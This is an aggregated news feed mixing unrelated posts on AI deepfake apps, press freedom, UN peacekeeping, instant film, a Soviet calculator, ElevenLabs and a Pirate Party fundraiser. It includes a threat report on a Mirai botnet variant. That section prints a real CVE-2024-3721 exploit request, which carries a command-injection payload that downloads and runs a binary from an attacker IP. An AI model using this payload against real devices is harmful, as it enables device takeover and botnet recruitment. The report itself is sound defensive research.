Il mercato delle app di intelligenza artificiale sta attraversando un’altra strana svolta: ora gli utenti possono “abbracciare” personaggi di fantasia, baciare i propri cari defunti e trasformare foto casuali in fantasmagorie animate in modo scadente.

Queste app, che hanno invaso TikTok e gli app store, oscillano tra l’imbarazzante e l’inquietante. Da un lato ci sono modelli apparentemente innocui con gatti e nonne, mentre dall’altro ci sono scene apertamente feticistiche in cui l’intelligenza artificiale modifica i corpi, ingrandisce i seni e trasforma foto ordinarie in mini-scene a sfondo sessuale.

Gli algoritmi di queste app possono fare molto: cambiare un’acconciatura, snellire l’utente, farlo ballare in pigiama con le orecchie. Tuttavia, dietro l’apparente innocenza, si celano spesso funzioni discutibili. In una delle app più popolari, bastano un paio di foto per ottenere un video in cui l’utente abbraccia o bacia appassionatamente una celebrità, ad esempio Robert Pattinson nei panni di Edward Cullen.

Un altro modello permette di aumentare il seno della protagonista da B a DD in un paio di clic. Il tutto viene presentato con un’animazione che rispecchia l’idea di romanticismo infantile: i baci ricordano più il piegarsi meccanico dei volti, e gli abbracci sembrano come se qualcuno stesse cercando di incollare una bambola Barbie a un personaggio LEGO.

Alcune di queste app sono di proprietà di aziende poco conosciute provenienti da Turchia e Cina. Dietro le splendide pubblicità e le promesse romantiche si nasconde un modello di monetizzazione basato sulle microtransazioni: da 2,99 dollari a settimana a 69,99 dollari all’anno per l’accesso a un numero limitato di “crediti” per la generazione di video.

Il problema non è solo estetico o morale, ma anche culturale e tecnologico: queste app sfruttano modelli generativi senza controlli né contesto, alimentando rappresentazioni distorte di relazioni, affettività e corpi. E lo fanno in un ecosistema dove l’illusione dell’interazione emotiva viene venduta a rate settimanali.

Nel mezzo di questa deriva, resta una domanda aperta: cosa succede quando milioni di persone iniziano a confondere simulazioni affettive con esperienze autentiche? Forse l’intelligenza artificiale non ci sta solo intrattenendo, ma sta ridefinendo, un video alla volta, cosa intendiamo per contatto umano.

L'articolo Baci, Seni e Glitch! Il Romantico Mondo Trash Delle App per i DeepFake AI proviene da il blog della sicurezza informatica.

Dear Friend of Press Freedom,

It’s now the 73rd day that Rümeysa Öztürk is facing deportation by the United States government for writing an op-ed it didn’t like. Read on for more press freedom news and and don’t forget to join us on June 9 at 2 p.m. for a conversation about the Trump administration’s attacks on broadcast licensees and nonprofits. RSVP here.

Snowden revelations take on added urgency 12 years later

Twelve years ago today, Edward Snowden — now a longtime Freedom of the Press Foundation (FPF) board member — blew the whistle to journalists on global mass surveillance programs, changing the way we think about the relationship between privacy and national security.

His revelations and the dialog they initiated are more relevant today than ever. We wrote about 12 of the reasons why. Read more here.

Texas might ban college kids from reporting news at night — or even talking

Texas lawmakers trying to muzzle campus protests have just passed one of the most ridiculous anti-speech laws in the country. If signed by Texas Governor Greg Abbott, Senate Bill 2972 would ban speech at night — from study groups to newspaper reporting — at public universities in the state.

We’re not exaggerating. In their zeal to stop college kids from protesting the Israel-Gaza war, lawmakers in the Lone Star State passed a prohibition on “engaging in expressive activities on campus between the hours of 10 p.m. and 8 a.m.” Expressive activity includes “any speech or expressive conduct” protected by the First Amendment or Texas Constitution — in other words, all speech and expressive conduct. Freedom of the Press Foundation (FPF) Senior Advisor Caitlin Vogus has more in the Houston Chronicle. Read the op-ed here.

Virginia gag policy is outrageously unconstitutional

An unconstitutional policy in Greene County, Virginia, prohibits government employees from talking to the media and requires them to label anything they share with the press as “opinion,” even if it’s verifiable fact.

Freedom of the Press Foundation (FPF) and the Society of Professional Journalists led a letter from a coalition of press freedom and transparency organizations urging Steve Catalano, chair of the Greene County board of supervisors, to rethink the unconstitutional and downright absurd policy. Read more here.

Press freedom coalition warns of dangers of Dobbs leak investigation

The FBI’s investigation into the 2022 publication of the Dobbs draft decision could “instill a wide-reaching chilling effect on First Amendment-protected newsgathering.”

We joined Defending Rights & Dissent and other press freedom groups to warn that the FBI’s investigation into a draft Supreme Court opinion leak could instill a widespread chilling effect on newsgathering everywhere. Read more here.

What we’re reading

Reporters aren’t exempt from ordinance forbidding presence in city park from 10 p.m. to 6 a.m. (Reason). Reporters can’t control what time news happens. Under this court’s reasoning, journalists who pass a closed city park at night and observe police beating or shooting someone couldn’t enter the park to cover it. That can’t be the law.

Trump caught trashing US history to hide his secrets (MeidasTouch). FPF’s Daniel Ellsberg Chair on Government Secrecy, Lauren Harper, warns, “The Trump administration’s goal is to become the sole source of information — even if it’s false.”

The ICE agents disappearing your neighbors would like a little privacy, please (The San Francisco Standard). This is exactly how newspapers should react when the government asks them to carry its water.

Fountain Hills officials punished a paper for coverage they don’t like (Phoenix New Times). “It’s very much unconstitutional for the government to in any way punish the press over its editorial or content decisions,” we said after officials punished reporters they don’t like by removing a press desk.

Trump asks Congress to repeal $9 billion from NPR, PBS and global aid (Washington Post). Taking money away from NPR and PBS hurts Americans who rely on them for news. Doing so because the president and other politicians disagree with their coverage violates the Constitution.

Press freedoms and civil rights under attack; and practicing civic self respect (Project Censored). Harper and FPF Advocacy Director Seth Stern joined Project Censored to discuss press freedom, government secrecy, and the Freedom of Information Act.

freedom.press/issues/snowden-r…

Nel nostro blog in più circostanze abbiamo evidenziato l’importanza di inserire Forze di Polizia nell’ambito delle Operazioni di mantenimento della Pace (Peacekeeping).

Peacekeeping in retreat: Rethinking how to deal with organized crime in conflict settings è il titolo di un recente interessante articolo di Walter Kemp, che è Director of Communications del “Global Initiative Against Transnational Organized Crime” segnala come le operazioni di peacekeeping delle Nazioni Unite siano in crisi: non vengono lanciate nuove missioni dal 2014, molte sono state ridotte o chiuse, e i finanziamenti sono in calo. Ed, in questo contesto, la criminalità organizzata – una delle principali minacce alla pace – è quasi del tutto assente dall’agenda delle Nazioni Unite.
Secondo l’autore le missioni di pace non affrontano adeguatamente la criminalità organizzata, che alimenta i conflitti e mina la resilienza degli Stati.
L’assenza di interventi può portare a governance criminali o a guerre per il controllo delle economie illecite.

Kemp indica la necessità di nuovi modelli di missioni, ove includere componenti specializzate nel contrasto alla criminalità organizzata, individuandole in quelle che egli chiama “Squadre anticrimine”, idonee a raccogliere informazioni, fornire supporto tecnico e, se autorizzate, eseguire arresti.
Inoltre il personale delle missioni (o meglio parte di esso) dovrebbe avere una formazione mirata, per preparare le forze di pace a riconoscere e affrontare le economie illecite.

A tale proposito l’autore ipotizza collaborazioni più ampie: coinvolgere agenzie come INTERPOL, forze specializzate (es. Guardia di Finanza), società civile e comunità locali, anche per effettuare una migliore mappatura dei mercati criminali per progettare strategie di stabilizzazione efficaci.
Kemp conclude sottolineando come la criminalità organizzata sia un fattore chiave nei conflitti moderni. Ignorarla compromette la pace e la sicurezza. Le Nazioni Unite devono adattare le loro strategie, anche in assenza di missioni di peacekeeping, per affrontare questa minaccia in modo efficace.
Quanto suggerito da Kemp richiama una struttura dell’Arma dei carabinieri costituita ad hoc in alcune missioni di pace internazionali “a marchio” NATO. Ci riferiamo alle Multinational Specialized Unit (MSU) di cui abbiamo parlato qui noblogo.org/cooperazione-inter…

L’articolo (in inglese) è reperibile a questa pagina globalinitiative.net/analysis/…

#peacekeeping #criminaltàorganizzata #Nazioniunite #ONU #Armadeicarabinieri #GuardiadiFinanza

@Notizie dall'Italia e dal mondo

We recently published an affectionate look at a Polaroid Land camera, whose peel-apart instant film is long out of production except for a very few single exposure packs form a boutique manufacturer. All that was left was a discussion of modifying it for conventional roll film, or perhaps hacking a modern back-to-front Polaroid sheet into it.

Never say never though, because along come the Chinese company Light Lens Lab with a short announcement at the end of a post talking about grain structures and anti-halation layer materials for their black and white film.

Lastly, with our future development plan, we are currently developing and researching instant peel-apart film, with plans on producing and making available black and white peel-apart film by 2025 in various format. We aim to have an update on our packaging and test shot for the next development/research progress installment. We are also researching, developing and producing colour reversal films that consist of a dye-incorporating development process, commonly known as K-14, for 135 and 120 formats in 2026.

So there you go, no sooner has Hackaday declared a format unavailable, than it shows every sign of reappearing. At this point we’d like to take the opportunity to report that McDonalds Szechuan Chicken McNugget sauce will never ever be available again.

So what does this mean? First of all, assuming that the stuff doesn’t need the GDP of a small country to buy in Europe, the Hackaday Polaroid 104 will be able to shoot in its native format again. But perhaps more interestingly, it opens up a new option for the camera hacker. Pack film is much easier than modern instant film to deal with; it requires only rollers and someone to tug on that paper tab, no gears or motors involved. We’re here for this.

The observant will also have noted at the end of the announcement, mention of a dye-incorporating development process. This refers to the colour chemistry seen in Kodachrome, a long-extinct single-layer film that offered legendarily sharp and vibrant-coloured pictures at the expense of a very complex development path. We’d love to see it, but we’ll take the instant pack film and run.

The Hackaday Land camera is here.

hackaday.com/2025/06/06/in-fil…

The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services. These bots often carry Remote Code Execution (RCE) exploits targeting HTTP services, allowing attackers to embed Linux commands within GET or POST requests.

We recently observed the use of CVE-2024-3721 in attempts to deploy a bot in one of our honeypot services. This bot variant turned out to be part of the infamous Mirai botnet, targeting DVR-based monitoring systems. DVR devices are designed to record data from cameras, widely used by many manufacturers and can be managed remotely. In this article, we describe the new Mirai bot features and its revamped infection vector.

Exploitation

During a review of the logs in our Linux honeypot system, we noticed an unusual request line linked to a CVE-2024-3721. This vulnerability allows for the execution of system commands on TBK DVR devices without proper authorization as an entry point, using a specific POST request:
"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 200 1671 "-" "Mozila/5.0"
The POST request contains a malicious command that is a single-line shell script which downloads and executes an ARM32 binary on the compromised machine.
cd /tmp; rm arm7; wget 42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk
Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. However, in this case, since the attack is specifically targeted at devices that only support ARM32 binaries, the reconnaissance stage is unnecessary.

Malware implant – Mirai variant

The source code of the Mirai botnet was published on the internet nearly a decade ago, and since then, it has been adapted and modified by various cybercriminal groups to create large-scale botnets mostly focused on DDoS and resource hijacking.

The DVR bot is also based on the Mirai source code but it includes different features as well, such as string encryption using RC4, anti-VM checks, and anti-emulation techniques. We’ve already covered Mirai in many posts, so we’ll focus on the new features of this specific variant.

Data decryption

The data decryption routine in this variant is implemented as a simple RC4 algorithm.

The RC4 key is encrypted with XOR. After the key decryption, we were able to obtain its value: 6e7976666525a97639777d2d7f303177.

The decrypted RC4 key is used to decrypt the strings. After each piece of data is decrypted, it is inserted into a vector of a custom DataDecrypted structure, which is a simple string list:

Data decryption routine

The global linked list with decrypted data is accessed whenever the malware needs particular strings.

Adding decrypted strings to the global list

Anti-VM and anti-emulation

To detect if it is currently running inside a virtual machine or QEMU, the malware lists all processes until it finds any mention of VMware or QEMU-arm. Listing running processes is simply a matter of opening the /proc directory, which is the proc filesystem on Linux.

Each process ID (PID) has its own folder containing useful information, such as cmdline, which describes the command used to start the process. Using this information, the malware verifies if there are any processes with VMware or QEMU-arm in their command line.

Process check

The implant also verifies if the bot process is running outside an expected directory, based on a hardcoded list of allowed ones:

Allowed directories

Once those checks are successfully completed, Mirai will continue normal execution, preparing the vulnerable device for receiving commands from the operator.

Infection statistics

According to our telemetry data, the majority of infected victims are located in countries such as China, India, Egypt, Ukraine, Russia, Turkey, and Brazil. It’s challenging to ascertain the exact number of vulnerable and infected devices globally. However, by analyzing public sources, we’ve identified over 50,000 exposed DVR devices online, indicating that attackers have numerous opportunities to target unpatched, vulnerable devices.

Conclusion

Exploiting known security flaws in IoT devices and servers that haven’t been patched, along with the widespread use of malware targeting Linux-based systems, leads to a significant number of bots constantly searching the internet for devices to infect.

The main goal of such bots is to carry out attacks that overwhelm websites and services (DDoS attacks). Most of these bots don’t stay active after the device restarts because some device firmware doesn’t allow changes to the file system. To protect against infections like these, we recommend updating vulnerable devices as soon as security patches become available. Another thing to consider is a factory reset if your device is indeed vulnerable and exposed.

All Kaspersky products detect the threat as HEUR:Backdoor.Linux.Mirai and HEUR:Backdoor.Linux.Gafgyt.

Indicators of compromise

Host-based (MD5 hashes)
011a406e89e603e93640b10325ebbdc8
24fd043f9175680d0c061b28a2801dfc
29b83f0aae7ed38d27ea37d26f3c9117
2e9920b21df472b4dd1e8db4863720bf
3120a5920f8ff70ec6c5a45d7bf2acc8
3c2f6175894bee698c61c6ce76ff9674
45a41ce9f4d8bb2592e8450a1de95dcc
524a57c8c595d9d4cd364612fe2f057c
74dee23eaa98e2e8a7fc355f06a11d97
761909a234ee4f1d856267abe30a3935
7eb3d72fa7d730d3dbca4df34fe26274
8a3e1176cb160fb42357fa3f46f0cbde
8d92e79b7940f0ac5b01bbb77737ca6c
95eaa3fa47a609ceefa24e8c7787bd99
96ee8cc2edc8227a640cef77d4a24e83
aaf34c27edfc3531cf1cf2f2e9a9c45b
ba32f4eef7de6bae9507a63bde1a43aa
IPs
116.203.104[.]203
130.61.64[.]122
161.97.219[.]84
130.61.69[.]123
185.84.81[.]194
54.36.111[.]116
192.3.165[.]37
162.243.19[.]47
63.231.92[.]27
80.152.203[.]134
42.112.26[.]36

securelist.com/mirai-botnet-va…

Tearing down hardware from different parts of the world can be revealing, showing unique parts, techniques, and tricks employed by engineers living in a very different world from our own. To that end, [msylvain59] has been kind enough to give us a look inside the Elektronika MK-26—a calculator built in the former Soviet Union.

There’s lots of interesting stuff to see from the get-go. The oddball button pad is covered in Cyrillic symbols, quite alien to those of us more accustomed to the Latin character set. It’s also constructed somewhat unlike more familiar models from Western-aligned companies like Casio or Commodore. It also rattles when shaken, which doesn’t inspire confidence. Inside, it’s got old-school brown PCBs without the usual green solder mask, a chunky IC in a weird package, and display is via a power-hungry VFD.

It doesn’t look so totally alien inside; much of the construction is pretty typical of the mid-1970s, wherever you went around the world. The most striking differences are more in the graphics and visual design than anything else.

Ultimately, there are reasons why manufacturers around the world tend to converge on similar techniques. Generally, it’s because it’s more economical or easier to do things a certain way. And yet, we still see regional variances because conditions, technologies, and parts availability varies around the world. This teardown highlights that quite clearly.

If you’re just getting a taste for Soviet hardware teardowns, you’ll love this video diving inside a real Soyuz clock.

youtube.com/embed/N2kkGV5aBs8?…

hackaday.com/2025/06/06/soviet…

ElevenLabs, nota per le sue soluzioni all’avanguardia di sintesi vocale ed effetti sonori basati sull’intelligenza artificiale, ha annunciato un importante aggiornamento della sua piattaforma: Conversational AI 2.0. Sviluppata da ex ingegneri di Palantir, la nuova versione rappresenta un ulteriore passo avanti nella creazione di agenti vocali più naturali e intelligenti per le aziende, dall’assistenza clienti all’automazione di vendite e marketing.

La seconda versione dell’IA conversazionale è ora in grado di gestire le sfumature che distinguono il dialogo dal vivo dai servizi vocali robotici.

Grazie al nuovo sistema, l’agente impara a rispondere alle pause, alle caratteristiche di intonazione e a non interrompere l’interlocutore, nonché a utilizzare correttamente pause e riempitivi, eliminando completamente la sensazione di comunicazione meccanica. Questa funzione è particolarmente richiesta nei servizi di supporto e nei call center, dove la velocità di risposta è fondamentale senza compromettere il comfort del cliente.

Un’importante innovazione è l’identificazione automatica della lingua: ora l’agente stesso determina la lingua dell’utente e la cambia istantaneamente, senza bisogno di configurare manualmente le impostazioni. Questa funzione sta già diventando uno standard per le aziende globali che lavorano con un pubblico multilingue e contribuisce ad abbattere le barriere linguistiche per i clienti.

Il nuovo sistema include anche la tecnologia RAG (Retrieval-Augmented Generation), che consente di recuperare informazioni al volo da basi di conoscenza esterne. Ad esempio, un assistente vocale medico potrà accedere istantaneamente alle linee guida aggiornate e un servizio di supporto potrà accedere alla documentazione interna dei prodotti. Tutto ciò viene implementato con ritardi minimi e maggiori garanzie di privacy, un aspetto fondamentale per settori regolamentati come quello medico.

Uno degli aspetti chiave della piattaforma è il supporto multimodale. Ora l’agente può interagire non solo tramite voce, ma anche tramite testo, e combinare entrambi i canali senza la necessità di creare versioni diverse per ciascuna piattaforma. Inoltre, è stata introdotta la modalità “Multi-Character“: l’assistente vocale può cambiare ruolo e stile di comunicazione, imitando immagini diverse, aprendo nuove opportunità per la creatività, i programmi educativi e gli scenari di formazione.

Per le aziende che operano nel settore delle comunicazioni di massa, è stata implementata una funzione di chiamata in uscita in batch: ora la piattaforma consente di avviare automaticamente chiamate parallele, utile per condurre sondaggi, inviare notifiche o messaggi personalizzati. Questo aumenta significativamente la portata del pubblico e riduce il carico di lavoro degli operatori.

Gli sviluppatori di ElevenLabs hanno prestato particolare attenzione ai requisiti di sicurezza e alla conformità agli standard: la nuova piattaforma soddisfa i requisiti HIPAA per i dati medici e supporta l’archiviazione opzionale delle informazioni nell’UE, un aspetto importante per i clienti aziendali soggetti a rigide restrizioni normative. Il sistema è progettato per garantire un’elevata disponibilità, si integra facilmente con servizi esterni ed è adatto all’utilizzo in infrastrutture critiche.

La piattaforma è disponibile a diverse tariffe, da un piano gratuito con un set base di minuti e un limite di connessioni simultanee, a un piano business con un pacchetto di servizi esteso e supporto per migliaia di minuti al mese. Questo approccio rende il prodotto accessibile sia alle startup che alle grandi aziende.

Il rilascio di Conversational AI 2.0 segna una nuova pietra miliare nello sviluppo delle tecnologie vocali per le aziende: ElevenLabs punta sulla massima naturalezza, adattabilità e scalabilità delle sue soluzioni, sottolineando che l’era degli interlocutori digitali realistici è appena iniziata.

L'articolo Lavori in un Call Center? Inizia ad avere paura per il tuo lavoro! proviene da il blog della sicurezza informatica.

Dear Friends of the Pirate Community,

PPI is heading again to the Internet Governance Forum (IGF), this time in Norway. The IGF is a UN event that brings together a large number of governments and non-profit organizations. PPI has attended the IGF for about 10 years now. As part of our effort to attend the event, we are conducting a fundraiser to collect up to 1500 euros to support our representatives. Donations can be made directly on our website or through the following crowdfunding campaign: fundrazr.com/b2Yiz8

PPI was accepted to organize a workshop entitled “Ethical Networking: Sustainability and Accountability” will be on June 23rd at 16:15 in Workshop Room 2, Hall C: intgovforum.org/en/content/igf…

We will also be presenting at a booth with the European Pirate Party.

We are attempting to fundraise some of the costs of our representatives who will be paying out of their own pocket to attend the event. Being in Norway this year, means that it will not be cheap. Any financial assistance would be greatly appreciated.

As a way to further motivate fundraising, we have also provided an incentive to include individual membership in PPI, which normally costs 10 euros, for those who provide at least a 15 euro donation.

The entire event is from June 23rd to 27th. Please review the IGF website as the date nears for information about participating online: intgovforum.org/en/content/igf…

All approved events can be seen here: intgovforum.org/en/content/igf…

Last year in Saudi Arabia we also organized a workshop on Autarchy, spearheaded by Alexander Isavnin: intgovforum.org/en/content/igf…

Two years ago we had a booth in Japan: pp-international.net/2023/10/i…

The year before that PPI had a booth in Poland: pp-international.net/2021/12/p…

At the moment PPI does not have any extra funding for this event. Every PPI representative is self-funded. By making a donation you will provide partial assistance for one of our representatives to attend.

pp-international.net/2025/06/i…